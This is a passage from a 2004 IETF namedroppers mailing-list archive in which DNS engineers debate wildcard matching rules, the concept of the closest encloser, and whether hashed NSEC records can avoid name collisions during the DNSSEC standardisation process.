> > * TXT 1 > > bar.* TXT 2 > > *.bar.* TXT 3 > > > > [A] If the query is for "foo.bar.star.example.com, TXT" is the > answer "1"? > > [B] If the query is for "foo.bar.*.example.com, TXT" is the answer "3"? > > [C] If the query is for "foo.*.example.com, TXT" is the answer NXDOMAIN? > > And just for further clarity: > > [D] if the query is for "bar.star.example.com, TXT", the answer, like [A] > is "1" (not "2") > > [E] if the query is for "bar.*.example.com, TXT", the answer is "2" > > Am I right? > > (I think [A] & [D] are are the MARID questions though I'm not following > MARID). > > Alex > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> > -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: RE: more wild cards Date: Fri, 10 Sep 2004 15:39:06 -0400 Lines: 23 Sender: owner-namedroppers@ops.ietf.org References: <ANECIHCPCBDLLEJLCOPGKEJPCOAA.scottr@nist.gov> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: <namedroppers@ops.ietf.org> X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 21:46:14 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <ANECIHCPCBDLLEJLCOPGKEJPCOAA.scottr@nist.gov> To: "Scott Rose" <scottr@nist.gov> Precedence: bulk At 15:24 -0400 9/10/04, Scott Rose wrote: >Whoops, my bad: > >The closest encloser for [D] would be "example.com". not >"star.example.com". At least that's my impression from the wildcard clarify >draft. ...;) and I had a pretty printed response to say as much. ;) Yeah, the tree doesn't have a star.example.com, so it can't be the closest encloser. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From ietf-announce-bounces@ietf.org Fri Dec 29 10:46:06 2006 From: The IESG <iesg-secretary@ietf.org> Subject: Last Call: (revised) 'DNS Security Introduction and Requirements' to Proposed Standard Date: Fri, 10 Sep 2004 15:33:29 -0400 Lines: 33 Sender: ietf-announce-bounces@ietf.org Reply-To: iesg@ietf.org Cc: namedroppers@ops.ietf.org X-From: ietf-announce-bounces@ietf.org Fri Sep 10 21:57:06 2004 Return-path: <ietf-announce-bounces@ietf.org> X-test-idtracker: no To: IETF-Announce <ietf-announce@ietf.org> X-Spam-Score: 0.0 (/) X-Scan-Signature: 2409bba43e9c8d580670fda8b695204a X-BeenThere: ietf-announce@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: ietf-announce.ietf.org List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/ietf-announce>, <mailto:ietf-announce-request@ietf.org?subject=unsubscribe> List-Post: <mailto:ietf-announce@ietf.org> List-Help: <mailto:ietf-announce-request@ietf.org?subject=help> List-Subscribe: <https://www1.ietf.org/mailman/listinfo/ietf-announce>, <mailto:ietf-announce-request@ietf.org?subject=subscribe> Errors-To: ietf-announce-bounces@ietf.org Note: Update to the in-progress Last Call. dnsext-dnssec-records contains a normative reference to (Informational) RFC 3548. Such a reference is not normally permitted from a Standards Track document, unless the need for this is explicitely called out during the Last Call and is accepted by the community (i.e., per draft-ymbk-downref-03.txt). This note makes explicit the intention to reference RFC 3548 in a normative fashion. The IESG has received a request from the DNS Extensions WG to consider the following documents: - 'DNS Security Introduction and Requirements ' <draft-ietf-dnsext-dnssec-intro-11.txt> as a Proposed Standard - 'Resource Records for the DNS Security Extensions ' <draft-ietf-dnsext-dnssec-records-09.txt> as a Proposed Standard - 'Protocol Modifications for the DNS Security Extensions ' <draft-ietf-dnsext-dnssec-protocol-07.txt> as a Proposed Standard The IESG plans to make a decision in the next few weeks, and solicits final comments on this action. Please send any comments to the iesg@ietf.org or ietf@ietf.org mailing lists by 2004-09-24. The file can be obtained via http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-intro-11.txt http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-records-09.txt http://www.ietf.org/internet-drafts/draft-ietf-dnsext-dnssec-protocol-07.txt _______________________________________________ IETF-Announce mailing list IETF-Announce@ietf.org https://www1.ietf.org/mailman/listinfo/ietf-announce From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-dnsext-mdns-36.txt Date: Fri, 10 Sep 2004 15:54:28 -0400 Lines: 97 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 22:00:55 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: i-d-announce@ietf.org Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the DNS Extensions Working Group of the IETF. Title : Linklocal Multicast Name Resolution (LLMNR) Author(s) : L. Esibov, et al. Filename : draft-ietf-dnsext-mdns-36.txt Pages : 26 Date : 2004-9-10 Today, with the rise of home networking, there are an increasing number of ad-hoc networks operating without a Domain Name System (DNS) server. The goal of Link-Local Multicast Name Resolution (LLMNR) is to enable name resolution in scenarios in which conventional DNS name resolution is not possible. LLMNR supports all current and future DNS formats, types and classes, while operating on a separate port from DNS, and with a distinct resolver cache. Since LLMNR only operates on the local link, it cannot be considered a substitute for DNS. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-dnsext-mdns-36.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-dnsext-mdns-36.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-dnsext-mdns-36.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <2004-9-10154159.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-dnsext-mdns-36.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-dnsext-mdns-36.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <2004-9-10154159.I-D@ietf.org> --OtherAccess-- --NextPart-- -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: thesaurus attack Date: Sat, 11 Sep 2004 03:08:56 +0700 Lines: 122 Sender: owner-namedroppers@ops.ietf.org References: <a06020409bd677918a675@[192.168.1.100]> <a06020407bd64c0ca0a9b@[192.136.136.102]> <6191.1094692472@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 22:17:07 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020409bd677918a675@[192.168.1.100]> Precedence: bulk Date: Fri, 10 Sep 2004 11:36:13 -0400 From: Edward Lewis <edlewis@arin.net> Message-ID: <a06020409bd677918a675@[192.168.1.100]> | Asking for clarification... | So, looking at an example I used in another message, *.example.com is | not a wildcard (synthesis source) because there's a | *.bar.*.example.com? No (I agree with your 3 "yes" answers). But you can really only talk about a wildcard in the context of a particular query, in some queries a '*' is a wildcard, in others it is not. | Do you think the text in Appendix A is wrong? Yes, some of it - but the worst is that it isn't explaining things in the correct way. Giving lists of domain names with '*'s in them makes things look like patterns, and people are tempted to do pattern matching. That way gets very confusing, and the answers people start assuming end up all over the place. I don't think any of the answers from the examples is wrong, just the way it is explained. | The first thing to realize is that by all definitions, subdomains of | wild card domain names are legal. This makes no sense, sub-domains of a domain which is *.xxx are legal, but if it (*.xxx) is being used as a wildcard, it ends any query, whether or not the '*' might have sub-domains is irrelevant. | The concept of "closest enclosing" existing names is important to keep in | mind. Yes, though I'm not real sure I like that term - but I'm not sure what would be a better one. | It is also important to realize that a wild card domain name can | be a closest encloser of a query name. Not a wildcard domain, a '*' label. | For example, if *.*.example. is defined in a zone, That's irrelevant here, but you do need to assume that *.example.com is defined. | and the query name is a.*.example., then the closest | enclosing domain name is *.example. "... which is not a wildcard, but simply a domain". | Keep in mind that the closest | encloser is not eligible to be a source of synthesized answers, just the | subdomain of it that has the first label "*". That is, if there is a sibling domain (child of the same parent) for the rightmost domain that does not explicitly exist, and that sibling is '*', then any RRs it owns which are the same type as te QTYPE are the answer returned for the QNAME. If there are no RR's of the appropriate type, NODATA is returned (shouldn't be using bindisms, but here everyone knows what I mean). | To illustrate this, the following chart shows some matches. Assume that | the names *.example., *.*.example., and *.sub.*.example. are defined | in the zone. ... and that there are no other '*' labels in (or below) example. (without that, some of the answers below might be wrong). You also need to assume that various other domains don't exist (like a.example). | QNAME Closest Encloser Wild Card Source | a.example. example. *.example. | b.a.example. example. *.example. | a.*.example. *.example. *.*.example. | b.a.*.example. *.example. *.*.example. | b.a.*.*.example. *.*.example. no wild card | a.sub.*.example. sub.*.example. *.sub.*.example. | b.a.sub.*.example. sub.*.example. *.sub.*.example. | a.*.sub.*.example. *.sub.*.example. no wild card | *.a.example. example. *.example. | a.sub.b.example. example. *.example. | | Recall that the closest encloser itself cannot be the wild card. This is a direct contradiction of what was said earlier ... It is also important to realize that a wild card domain name can be a closest encloser of a query name. | Therefore | the match for b.a.*.*.example. has no applicable wild card. the reason is that *.*.example. is the longest match (closest encloser), as there is no a.*.*.example. (we're assuming, without stating it) and there is no *.*.*.example which would be the only candidate to be the wildcard. | Finally, if a query name is sub.*.example., any answer available will come | from an exact name match for sub.*.example. No wild card synthesis is | performed in this case. But if the lookup is algorithm is clear, none of this should be needed. Just make it plain that it is possible for any string to be a domain name label, including '*', and that those strings can match exactly against the same string in the QNAME. To be a wildcard, there's only ever one possibility - a '*' label which is a sibling of the rightmost label in the QNAME which is not explicitly present in the DNS tree. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: dictionary attack on nameservers Date: Sat, 11 Sep 2004 03:59:33 +0700 Lines: 37 Sender: owner-namedroppers@ops.ietf.org References: <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 23:08:40 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Simon Josefsson <jas@extundo.com> In-Reply-To: <ilusm9qarfx.fsf@latte.josefsson.org> Precedence: bulk Date: Fri, 10 Sep 2004 20:50:58 +0200 From: Simon Josefsson <jas@extundo.com> Message-ID: <ilusm9qarfx.fsf@latte.josefsson.org> | There are at least two solutions to that problem. no, there are no solutions for this problem in any proposal that requires adding new names (attempts to steal some of the namespace) for any existing RR type (the _tcp stuff in SRV records is annoying, but not fatal, as they're relevant only to SRV lookups and don't prevent _tcp being used as a label for any other RR types). | The first is to use salting to make sure there are no collisions. That doesn't work, you just collide with a different name. For any name that you propose adding, I simply add the same name with whatever RR types cause your proposal to have problems. | The second one is to place the NSECbis record in a separate name | space. In this case the "separate name space" is the name that is the problem. | PS. All of this has been mentioned before. It seems like a process | failure that we keep repeating these discussions. Perhaps, but if people keep not understanding, there's little choice but to keep on repeating. Eventually the message might get through. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: thesaurus attack Date: Sat, 11 Sep 2004 04:02:47 +0700 Lines: 21 Sender: owner-namedroppers@ops.ietf.org References: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 23:09:02 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> In-Reply-To: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Date: Fri, 10 Sep 2004 20:50:40 +0200 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Message-ID: <200409101850.i8AIoej16946@grimsvotn.TechFak.Uni-Bielefeld.DE> | To avoid empty terminals, There's no reason to do that. We don't have them in the normal name tree, but the reason for that is that there's no way to represent them. Here, the "empty terminal" only appears in the answer to a query, where it cannot be detected as being terminal, so there's no need to do anything special to avoid this case, just leave it. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Fri, 10 Sep 2004 22:39:33 +0100 Lines: 71 Sender: owner-namedroppers@ops.ietf.org References: <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 23:46:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Robert Elz <kre@munnari.OZ.AU>, Simon Josefsson <jas@extundo.com> In-Reply-To: <11585.1094849973@munnari.OZ.AU> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 11 September 2004 03:59 +0700 Robert Elz <kre@munnari.OZ.AU> wrote: > | The first is to use salting to make sure there are no collisions. > > That doesn't work, you just collide with a different name. For any > name that you propose adding, I simply add the same name with whatever > RR types cause your proposal to have problems. [ I hope Olaf's going to forgive me on this one, but I think we are now talking about something quite different from the circular discussion on whether or not non-enumerability is needed and what the requirements are so I have changed the subject appropriately ] I'm lost. Let me do some CS/Math and then see if I have applied it without missing the point: If you have a set of labels X, and a set of labels Y where Y(i) = HASH ( X(i) , S, H) i.e. a hash of X(i) using salt S (the same for all values of i) and H bit hash, then, providing n(X) << 2^H, it's trivially easy (and computationally efficient) to find a value S such that there are NO values i, j such that Y(i) = X(j) - I'll call that finding a non-colliding salt value S such that there are no collisions between the range and domain of the hash function. One possible mechanism is simply to iterate through values of S chosen according to any cyclic algorithm with a cycle length >> n(X) (let's say of length 2^H or similar) - let's call the values S(1), S(2), S(3) etc. - you can show that you will find a first non-colliding value S(c) in a computationally small number of iterations (the expected number of iterations c is in essence 1, assuming n(X)<<2^H). I don't *think* I'm wrong on that bit of CS / math. Assuming I'm not wrong, and assuming some NSEC2/NSEC+-esque proposal, whatever routine is used to generate the NSEC2/NSEC+ etc. records you don't want to collide (let's say, to be really safe, with ANY record, no matter WHAT the RRTYPE) you just first create them with S(1), if there is a collision (irrespective of RRTYPE) try S(2), etc. etc., and again the expected number of iterations is in essence 1, assuming n(X)<<2^H. Now if you add another name, you do the same. Is there a collision now? No - then no problem. Yes - then time to resalt. There's no external DoS risk as it's only the zone owner who can add the names - if they are deliberately (for some reason) chosing to add names that collide with existing hashed records, then "don't do that". So I think they CAN be avoided algorithmically - in a similar sort of way to the creation of Bloom filters, but with far less computational complexity. For the record, for the reasons Ben mentioned a good while ago, I am not sure why collisions are actually a problem at all - i.e. if we have $ORIGIN example.com alex IN TXT "1" jim IN TXT "2" why is it a problem if HASH("alex")="jim" and so we also have jim IN NSECBLAH whatever I'm quite prepared to believe it is a problem, and my understanding of the protocol is flawed, but I'd like to be educated :-) Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: Re: thesaurus attack Date: Fri, 10 Sep 2004 23:42:08 +0200 Lines: 54 Sender: owner-namedroppers@ops.ietf.org References: <a0602040dbd67aa223024@[192.168.1.100]> X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 23:48:13 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: zeder.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: zeder.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Fri, 10 Sep 2004 15:06:17 EDT." <a0602040dbd67aa223024@[192.168.1.100]> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Precedence: bulk Edward Lewis <edlewis@arin.net> wrote: > I suppose if you read the very last paragraph of step 3, you would > take this to mean that any name matching an empty non-terminal '*' > node would result in a no error, no data return (neglecting the CNAME > rules). yes. > If you have *.example.com and *.*.example.com in the zone and the > query is for *.*.example.com, then you'd get a direct hit on the > latter zone member. agreed. > If the query was for *.*.*.example.com, you'd match the > *.*.example.com "source of synthesis" - not the *.example.com. Probably not, sorry for the confusion. It's easy if we don't translate '*' to "all names": Given a zone example.com @ SOA ... NS ... * TXT " ... " A QNAME something.example.com is matched by the wildcard. A QNAME *.example.com is NOT matched by the wildcard but gives a direct match. This does not change the result, but is important for the next step. A QNAME of a.*.example.com results in NXDOMAIN. That's because the wildcard matches all names except those which "exist". "*.example.com" does exist, so the tree is pruned here. Now that's consistent with Appendix A claiming that b.a.*.*.example is not covered bey either *.example or *.*.example. The common assumption that in an otherwise empty zone (see above) the '*' covers *all* names is just wrong. To really catch all you'd have to add *.* TXT " ... " *.*.* TXT " ... " [...] up to the maximum domain name length (whatever that really is). All that's already said in terms of closest encloser etc in the draft, but I guess an example like this with some prose in the appendix won't hurt. The joke helped. -Peter -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: Re: thesaurus attack Date: Sat, 11 Sep 2004 00:14:08 +0200 Lines: 34 Sender: owner-namedroppers@ops.ietf.org References: <5857.1094850167@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-From: owner-namedroppers@ops.ietf.org Sat Sep 11 00:21:16 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Sat, 11 Sep 2004 04:02:47 +0700." <5857.1094850167@munnari.OZ.AU> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Content-ID: <17388.1094854447.1@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Robert Elz <kre@munnari.OZ.AU> wrote: > Here, the "empty terminal" only appears in the answer to a query, where it > cannot be detected as being terminal, so there's no need to do anything > special to avoid this case, just leave it. OK, but then for the sake of clarity the draft should mention this case explicitly, e.g.: Empty Terminals Empty terminals (leaves) do not exist without wildcards because there is no defined way to bring a name into existence without making it or one of its descendants (then it would be no longer a terminal) the owner of at least one RR. Although there is a NULL RR type specified in RFC 1035, its purpose is left open. With '*' names in the zone, empty leaves can exist iff the '*' does not own any RRSets. Given example.org, @ SOA ... NS ... _.* NULL {or any other type} any name X.example.org with $X != '*' will exist (not result in an authoritative name error if queried for) but have no RRs associated with it. -Peter PS: Wouldn't that stop me from "enumerating" enum zones ?-) -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: thesaurus attack Date: Sat, 11 Sep 2004 06:01:14 +0700 Lines: 35 Sender: owner-namedroppers@ops.ietf.org References: <200409102214.i8AME9W17392@grimsvotn.TechFak.Uni-Bielefeld.DE> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sat Sep 11 01:10:09 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> In-Reply-To: <200409102214.i8AME9W17392@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Date: Sat, 11 Sep 2004 00:14:08 +0200 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Message-ID: <200409102214.i8AME9W17392@grimsvotn.TechFak.Uni-Bielefeld.DE> | OK, but then for the sake of clarity the draft should mention this case | explicitly, e.g.: Perhaps, I'm not sure it is really important enough to anything to matter. Who really cares after all? The resolver can't (normally) tell (either whether the name is terminal, or unless it was an ANY query, whether it is actually empty). For DNSSEC purposes (with me being no expert on that stuff) as I understand it, the proofs need to involve the '*' record explicitly, as there's no way to actually sign the fabricated RR returned (or not without on-line keys) - so this is already an odd special case. | Empty Terminals But if this is to be included ... | Although there is a NULL RR type specified in RFC 1035, | its purpose is left open. That sentence doesn't belong, not that it is wrong, it is simply irrelevant - you might just as well mention that the HINFO RR type exists (or any other arbitrary one). The NULL RR is an RR, just like any other (however undefined its purpose is...) kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Robert Elz <kre@munnari.OZ.AU> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Sat, 11 Sep 2004 06:24:19 +0700 Lines: 82 Sender: owner-namedroppers@ops.ietf.org References: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sat Sep 11 01:34:28 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-Reply-To: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> Precedence: bulk Date: Fri, 10 Sep 2004 22:39:33 +0100 From: Alex Bligh <alex@alex.org.uk> Message-ID: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> | [ I hope Olaf's going to forgive me on this one, but I think we are | now talking about something quite different from the circular | discussion on whether or not non-enumerability is needed and | what the requirements are so I have changed the subject appropriately ] Yes, I have been avoiding that discussion, I believe my views are already well known (and that I haven't been wasting space restating them doesn't mean they've changed). | I'm lost. Let me do some CS/Math and then see if I have applied it | without missing the point: | | If you have a set of labels X, and a set of labels Y where | Y(i) = HASH ( X(i) , S, H) | | i.e. a hash of X(i) using salt S (the same for all values of i) and H bit | hash, then, providing n(X) << 2^H, Well, you've already lost the "any zone" requirement with that assumption, but it gets worse than that. | it's trivially easy (and computationally | efficient) to find a value S such that there are NO values i, j such that | Y(i) = X(j) - I'll call that finding a non-colliding salt value S such that | there are no collisions between the range and domain of the hash function. I think you're relying upon probabilities, which doesn't work in a situation like this. | One possible mechanism is simply to iterate through values of S chosen | according to any cyclic algorithm with a cycle length >> n(X) (let's say of | length 2^H or similar) - let's call the values S(1), S(2), S(3) etc. - you | can show that you will find a first non-colliding value S(c) in a | computationally small number of iterations (the expected number of | iterations c is in essence 1, assuming n(X)<<2^H). All I need to do, is pick a name, any name, N, that exists in my zone, and then for each potential S calculate HASH(N, S[i], H) and add that name to my zone file. Now for name N, there's no possible S which doesn't generate a conflict. How practical this is depends upon how big the range of possible salts is, but practical or not, it is clearly possible. The number of bits in the hash function is immaterial here (though as it gets bigger, the number of possible salts must get less, as the total label length is limited). | For the record, for the reasons Ben mentioned a good while ago, I am not | sure why collisions are actually a problem at all This one is a different issue, and isn't one I was addressing (just the theory that it is possible to go about stealing names from the namespace without ever doing any harm). The usual problems (if the RRtype of the clashing name is NS or CNAME) might not apply to NSEC because of the weird rules that (I think) apply to this new record type (or then again they may, I'm no expert on the DNSSEC RR types). But I'd want to know just how they effect wildcards. If I have a * IN MX 10 foobar. record in my zone file (for the example. zone), I expect that anyone looking up any-random-hash.example. is going to get the foobar MX record, just like anyone looking up any other name that doesn't exist will get. If the NSEC records existing mean that the the wildcard doesn't get found, then things are badly broken. To fix that I'd have to add explicit MX records for every hash label (and a *.hash-label as well) which would alter the set of NSEC records that has to exist (clearly adding more), which means more MX records required, and ... (so it isn't really fixable). That is, unless NSEC records are to be treated as "special" for wildcard purposes. kre -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Sat, 11 Sep 2004 10:12:04 +1000 Lines: 33 Sender: owner-namedroppers@ops.ietf.org References: <5041.1094858659@munnari.OZ.AU> Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Sat Sep 11 02:18:38 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Robert Elz <kre@munnari.OZ.AU> In-reply-to: Your message of "Sat, 11 Sep 2004 06:24:19 +0700." <5041.1094858659@munnari.OZ.AU> Precedence: bulk > But I'd want to know just how they effect wildcards. If I have a > * IN MX 10 foobar. > record in my zone file (for the example. zone), I expect that anyone looking > up any-random-hash.example. is going to get the foobar MX record, just like > anyone looking up any other name that doesn't exist will get. If the > NSEC records existing mean that the the wildcard doesn't get found, then > things are badly broken. To fix that I'd have to add explicit MX records > for every hash label (and a *.hash-label as well) which would alter the > set of NSEC records that has to exist (clearly adding more), which means more > > MX records required, and ... (so it isn't really fixable). That is, unless > NSEC records are to be treated as "special" for wildcard purposes. Please don't go there as finding the answer to that is not as simple as just inoring the NSEC records. It would require examining the tree rooted at the hashname to see if there was anything valid beneath it. > kre > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: Avoiding collisions - desirability & possibility thereof (was Re: dictionary attack on nameservers) Date: Sat, 11 Sep 2004 08:40:48 +0100 Lines: 106 Sender: owner-namedroppers@ops.ietf.org References: <6D2BC836CD949E7C4EB3762D@[192.168.100.25]> <ilusm9qarfx.fsf@latte.josefsson.org> <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> <11585.1094849973@munnari.OZ.AU> <5041.1094858659@munnari.OZ.AU> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Sat Sep 11 09:54:35 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Robert Elz 